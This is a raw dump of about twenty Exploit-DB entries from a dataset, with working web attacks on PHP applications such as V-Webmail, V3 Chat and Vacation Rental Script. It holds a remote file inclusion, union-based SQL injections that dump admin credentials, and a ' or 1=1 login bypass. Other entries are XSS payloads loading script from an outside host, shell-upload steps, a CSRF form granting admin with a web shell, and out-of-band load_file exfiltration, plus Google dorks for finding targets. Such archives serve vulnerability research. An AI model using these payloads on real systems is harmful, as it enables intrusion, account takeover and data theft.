deardaniel/secdata-raw huggingface dataset:
Exploit-DB #1827
Description: V-Webmail 1.6.4 - 'pear_dir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-25
Author: beford

Exploit:
Script: V-Webmail 1.6.4
Vendor: http://www.v-webmail.org/
Description: V-webmail is a powerful PHP based webmail application with an
abundance of features, including many innovative ideas for web applications
Discovered: beford <xbefordx gmail com>
Vulnerable File

v-webmail/includes/pear/*/*.php => require_once ($CONFIG['pear_dir'] . '*.php');
v-webmail/includes/mailaccess/pop3.php =>
require_once($CONFIG['pear_dir'] . 'Net/POP3.php');

Version 1.3
http://www.site.th/vwebmail/includes/mailaccess/pop3/core.php?CONFIG[pear_dir]=http://evil
http://www.woot.com.kh/webmail/includes/mailaccess/pop3/core.php?CONFIG[pear_dir]=http://evil

Version 1.5  - 1.6.4
http://something.ie/v-webmail/includes/mailaccess/pop3.php?CONFIG[pear_dir]=http://evil

# milw0rm.com [2006-05-25]
Exploit-DB #10528
Description: V.H.S. Booking - 'hotel_habitaciones.php?HotelID' SQL Injection
Type: webapps
Platform: php
Date: 2009-12-17
Author: R3d-D3V!L

Exploit:
[?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~] Tybe: (hotel_habitaciones.php HotelID) Remote SQL Injection Vulnerability
[~] Vendor: www.bookingcentre.eu
[*] Software: Hotels Group
[*] author: ((R3d-D3v!L))
[*] Date: 18.dec.2009
[*] T!ME: 12:00 am
[?] Home: WwW.xP10.ME
[?] contact: N/A
[?]
[?]??????????????????????{DEV!L'5 of SYST3M}??????????????????




[*] Err0r C0N50L3:
   http://server/www_en/hotel_habitaciones.php?HotelID=(SQL)

[~] (SQL):
  1+union+select+concat_ws(0x3a,@@version,0x3a,user())--



N073:

! 7h!/\/k u can f!nd m0r3
just let your m1nd breath ;)

! GAZA !N 0uR HEART's blood and M!ND

[~]-----------------------------{D3V!L5 0F 7h3 SYS73M!?!}----------------------------------

[~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & dookie2000ca & ((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L))--M2Z--DEV!L_Ro07--JUPA

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~] {[(D!R 4ll 0R D!E)]};

[~]--------------------------------------------------------------------------------
Exploit-DB #12315
Description: v2marketplacescript Upload_images Script (-7777) - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-04-21
Author: cyberlog

Exploit:
======================================================================
Upload_images Script (-7777) Upload Shell Vulnerability
======================================================================



1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm cyberlog  member from Inj3ct0r Team            1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1



Upload_images Script (-7777) Upload Shell Vulnerability
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Scripts         : v2marketplacescript
Tested on	: Linux
Scripts site    : http://marketplacescript.net/
Discovered By   : cyberlog
date 		: 04-20-10
My Site         : http://www.sekuritionline.net
IRC Channel     : #sekuritionline
Special To      : inj3ct0r.com, adhietslank, k1n9k0ng, cah_gemblunkz, jayoes, thesims, setiawan,irvian, cr4wl3r, EA_Angel, BlueSpy, SoEy, A-technique, SarifJedul
keydork		: "Copyright 2009 MarketplaceScript.net" or ur can modification
exploit		: http://localhost/path/upload_test.php  -- u can upload BackDooR shell -
                  http://localhost/path/upload_images.php  -- View BackDooR Shell -

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Exploit-DB #28068
Description: V3 Chat Instant Messenger - '/mail/index.php?id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-06-20
Author: Luny

Exploit:
source: https://www.securityfocus.com/bid/18543/info

V3 Chat Instant Messenger is prone to multiple cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

A successful exploit could also allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/v3chat/mail/index.php?action=read&mid=62&id=1<IMG%20"""><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT>">
Exploit-DB #28069
Description: V3 Chat Instant Messenger - '/mail/reply.php?id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-06-20
Author: Luny

Exploit:
source: https://www.securityfocus.com/bid/18543/info
 
V3 Chat Instant Messenger is prone to multiple cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 
 
A successful exploit could also allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
 
http://www.example.com/v3chat/mail/reply.php?&recipientname=Scorpio&mid=62&id=1<IMG%20"""><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT>">
Exploit-DB #28074
Description: V3 Chat Instant Messenger - 'expire.php?cust_name' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-06-20
Author: Luny

Exploit:
source: https://www.securityfocus.com/bid/18543/info
      
V3 Chat Instant Messenger is prone to multiple cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
      
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 
      
A successful exploit could also allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://example.com/messenger/expire.php?cust_name=<IMG%20"""><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT>">
Exploit-DB #28075
Description: V3 Chat Instant Messenger - 'mycontacts.php' membername Arbitrary User Buddy List Manipulation
Type: webapps
Platform: php
Date: 2006-06-20
Author: Luny

Exploit:
source: https://www.securityfocus.com/bid/18543/info
       
V3 Chat Instant Messenger is prone to multiple cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
       
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 
       
A successful exploit could also allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://example.com/messenger/mycontacts.php?membername=putausername
Exploit-DB #28070
Description: V3 Chat Instant Messenger - 'online.php?site_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-06-20
Author: Luny

Exploit:
source: https://www.securityfocus.com/bid/18543/info
  
V3 Chat Instant Messenger is prone to multiple cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 
  
A successful exploit could also allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
  
http://www.example.com/messenger/online.php?action=update&membername=luny666&site_id=<IMG%20"""><SCRIPT%20SRC=http://youfucktard.com/xss.js></ SCRIPT>">
Exploit-DB #28072
Description: V3 Chat Instant Messenger - 'profile.php?site_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-06-20
Author: Luny

Exploit:
source: https://www.securityfocus.com/bid/18543/info
    
V3 Chat Instant Messenger is prone to multiple cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
    
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 
    
A successful exploit could also allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/messenger/profile.php?new_reg=1&site_id=<IMG%20"""><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT>">
Exploit-DB #28073
Description: V3 Chat Instant Messenger - 'profileview.php?membername' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-06-20
Author: Luny

Exploit:
source: https://www.securityfocus.com/bid/18543/info
     
V3 Chat Instant Messenger is prone to multiple cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
     
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 
     
A successful exploit could also allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/messenger/profileview.php?membername=demo<IMG%20"""><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT>">
Exploit-DB #28071
Description: V3 Chat Instant Messenger - 'search.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-06-20
Author: Luny

Exploit:
source: https://www.securityfocus.com/bid/18543/info
   
V3 Chat Instant Messenger is prone to multiple cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
   
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 
   
A successful exploit could also allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
   
http://www.example.com/messenger/search.php?action=update&membername=&action=search&site_id=<IMG%20"""><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT>"> 

http://www.example.com/messenger/search.php?membername=luny666&memberid=287&contact_id=1&contact_name=<IMG%20SRC=javascript:alert(document.cookie)>&site_id=&add=1&s=1 &r=0&min_age=16&max_age=100&location=&gender1=&gender2=
Exploit-DB #7061
Description: V3 Chat Profiles/Dating Script 3.0.2 - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-08
Author: d3b4g

Exploit:
[~] V3 Chat - Profiles/Dating Script v3.0.2 Auth Bypass Vulnerability
[~]
[~] -----------------------------------------------------------------
[~] Discovered By: d3b4g
[~]
[~] contact: bl4ckend[at]gmail[dot]com  
[~] 
[~] Risk: High

 ---------------------------------------------------------------------

Exploit: USe this information to bypass admin login

username: ' or ' 1=1

password: ' or ' 1=1
-----------------------------------------------------------------------

Demo: http://v3chat.com/v3profiles/admin/



[~]----------------------------------------------------------------------
[~] Greetz tO: All fu3k3rz

# milw0rm.com [2008-11-08]
Exploit-DB #7063
Description: V3 Chat Profiles/Dating Script 3.0.2 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-11-08
Author: Stack

Exploit:
###############################################################################################
[+] V3 Chat - Profiles/Dating Script v3.0.2 Insecure Cookie Handling Vulnerability
[+] Discovered By : Mountassif Moad         
[+] Greetz : All my freind         
################################################################################################
Exploit:
javascript:document.cookie = "admin=1; path=/";

# milw0rm.com [2008-11-08]
Exploit-DB #51562
Description: Vacation Rental 1.8 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-07-03
Author: CraCkEr

Exploit:
# Exploit Title: Vacation Rental 1.8 - Stored Cross-Site Scripting (XSS)
# Date: 30/06/2023
# Exploit Author: CraCkEr
# Vendor: GZ Scripts
# Vendor Homepage: https://gzscripts.com/
# Software Link: https://gzscripts.com/vacation-rental-website.html
# Version: 1.8
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site

## Stored XSS

------------------------------------------------------------
POST /VacationRentalWebsite/property/8/ad-has-principes/ HTTP/1.1

property_id=8&action=detail&send_review=1&cleanliness=0%3B4.2&comfort=0%3B4.2&location=0%3B4.2&service=0%3B4.2&sleep=0%3B4.2&price=0%3B4.2&username=[XSS Payload]&evaluation=3&title=[XSS Payload]&comment=[XSS Payload]&captcha=lbhkyj
------------------------------------------------------------

POST parameter 'username' is vulnerable to XSS
POST parameter 'title' is vulnerable to XSS
POST parameter 'comment' is vulnerable to XSS

## Steps to Reproduce:

1. Surf (as Guest) - Go to any Listed Property
2. Go to [Customer Reviews] on this Path (http://website/property/[Number1-9]/[name-of-Property]/#customerReviews)
3. Inject your [XSS Payload] in "Username"
4. Inject your [XSS Payload] in "Title"
5. Inject your [XSS Payload] in "Comment"
6. Submit
7. XSS Fired on Local Browser
8. XSS will Fire & Execute on Visitor's Browser when they visit the page of Property you [Inject] the XSS Payloads in & XSS will Fire also on the [Reviews Page]
Note: I think Administration Panel missing a section to Manage [Reviews] on the website
this feature must be added in next Updates [View/Edit/Delete]
Exploit-DB #11410
Description: Vacation Rental Script - SQL Injection
Type: webapps
Platform: php
Date: 2010-02-11
Author: JaMbA

Exploit:
:::::::::::::::::::::::::

Exploit Title : vacation Rental  Script SQL injection Vulnerability

Author : JaMbA

Script Site : www.commodityrentals.com

Version : All Versions

Tested on : Windows & Linux

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

:::::::::::::::::::::::::

=====================================Exploit===============

=========================

[ EXPL0!T ]

http://server/index.php?view=CalendarView&rental_id=-45+union+select+1,2,3,concat(admin_name,0x3a,admin_password)20,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59+from+vr_admin--


===========================================================
 Good luck for the Tunisian team handball in Can
=========================

Greetz to : Alnjm33-virus-pal - Predator-bingo2 - xXx-jago-dz -inejcteur-4PY-SaYrOs- XR57 -Tr0y-x Ahmadso -alsaek
=== 3SI lycee jbel jloud ====
Exploit-DB #15793
Description: Vacation Rental Script 4.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-12-20
Author: Br0ly

Exploit:
 Script Name: Vacation Rental Script <= 4.0
  Site: http://www.vacationrentalscript.com/

Bug: Upload Shell
  Found: Br0ly
google dork: "2006 - 2009 Vacation Rental Script"  BraZIL!!

 You need register a account first so:

 Signup: http://server/signup

  Cheek your email for login and password

  So login in:

  http://server/members/login

  After login:
  Go to:

  http://server/members/profile

  at the bottom of the page you can upload a logo why not a lithe and nice
shell?

  Upload a shell type: shell.php.jpg or shell.php.jpeg

  after upload:

  http://server/public/upload/logos/youshell.php.jpg
Exploit-DB #15828
Description: Vacation Rental Script 4.0 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-12-25
Author: OnurTURKESHAN

Exploit:
# Exploit Title: Vacation Rental Script v4.0 XSRF VULNERABILTY
# Google Dork: "2006 - 2009 Vacation Rental Script"
# Date: 24.12.2010
# Author: OnurTURKESHAN
# Software Link: http://www.vacationrentalscript.com/
# Version: v.4.0
# Tested on: v4.0 TEsted +WorKs
#ResPecT My FrienDz : BARC0D3-SZE-BlackApple-Fl0rix-Sky_Lab-Ufuq-VoLqaN-KaBaDaYı-BraveHeart-CWScriptKiddiE-FinishedLife AND ALL MY FRIENDZ
---------------------------------------------
<form id="users_edit" method="post" action="http://SİTE.COM/home/members/profile/edit/MEMBERİD" enctype="multipart/form-data">
    <input type="hidden" name="profile_logo" id="profile_logo" value="r57.php-2.jpeg" />
    <input type="hidden" name="role" id="role" value="admin" />
    <input type="hidden" name="banned" id="banned" value="0" />
                    <input class="text" type="text" id="user_name" name="user_name" value="USERNAME" />
                    <input class="text" type="text" id="email" name="email" value="MAIL@MAIL.COM" />
                    <input class="text" type="password" id="password" name="password"  />
                    <input class="text" type="password" id="retype_password" name="retype_password"  />
                    <input class="btn-orange" type="submit" value="Save profile" id="submit" name="submit" /><div class="btn-orange-end"> </div>
      
    </form>

www.myfreshdate.com / www.onurturkeshan.com / www.cyber-warrior.org
Exploit-DB #51596
Description: Vaidya-Mitra 1.0 - Multiple SQLi
Type: webapps
Platform: php
Date: 2023-07-19
Author: nu11secur1ty

Exploit:
## Title: Vaidya-Mitra 1.0 - Multiple SQLi
## Author: nu11secur1ty
## Date: 07.12.2023
## Vendor: https://mayurik.com/
## Software: free:
https://www.sourcecodester.com/php/16720/free-hospital-management-system-small-practices.html,
https://mayurik.com/source-code/P5890/best-hospital-management-system-in-php
## Reference: https://portswigger.net/web-security/sql-injection

## Description:
The `useremail` parameter appears to be vulnerable to SQL injection
attacks. The payload '+(select
load_file('\\\\lrg0fswvu3w11gp9rr7ek3b74yarylmcp0hn7bw.tupaputka.com\\mev'))+'
was submitted in the useremail parameter. This payload injects a SQL
sub-query that calls MySQL's load_file function with a UNC file path
that references a URL on an external domain. The application
interacted with that domain, indicating that the injected SQL query
was executed. The attacker easily can steal all information from this
system, like
login credentials, phone numbers and etc.

STATUS: HIGH Vulnerability

[+]Payload:
```mysql
---
Parameter: useremail (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY
or GROUP BY clause
    Payload: useremail=mayuri.infospace@gmail.com'+(select
load_file('\\\\lrg0fswvu3w11gp9rr7ek3b74yarylmcp0hn7bw.tupaputka.com\\mev'))+''
RLIKE (SELECT (CASE WHEN (5532=5532) THEN
0x6d[PII_REDACTED]2e696e666f[PII_REDACTED]40676d61696c2e636f6d+(select
load_file(0x5c5c5c5c6c[PII_REDACTED][PII_REDACTED][PII_REDACTED]727237656b[PII_REDACTED]6172796c6d637030686e3762772e6f[PII_REDACTED]792e636f6d5c5c6d6576))+''
ELSE 0x28 END)) AND 'tsyu'='tsyu&user[CREDENTIAL_REDACTED]

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
    Payload: useremail=mayuri.infospace@gmail.com'+(select
load_file('\\\\lrg0fswvu3w11gp9rr7ek3b74yarylmcp0hn7bw.tupaputka.com\\mev'))+''
AND (SELECT 3518 FROM(SELECT COUNT(*),CONCAT(0x716a766a71,(SELECT
(ELT(3518=3518,1))),0x71626a6b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND
'gHln'='gHln&user[CREDENTIAL_REDACTED]

    Type: time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind (query SLEEP)
    Payload: useremail=mayuri.infospace@gmail.com'+(select
load_file('\\\\lrg0fswvu3w11gp9rr7ek3b74yarylmcp0hn7bw.tupaputka.com\\mev'))+''
OR (SELECT 4396 FROM (SELECT(SLEEP(3)))iEbq) AND
'ZWBa'='ZWBa&user[CREDENTIAL_REDACTED]
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2023/Vaidya-Mitra-1.0)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/07/vaidya-mitra-10-multiple-sqli.html)

## Time spend:
00:27:00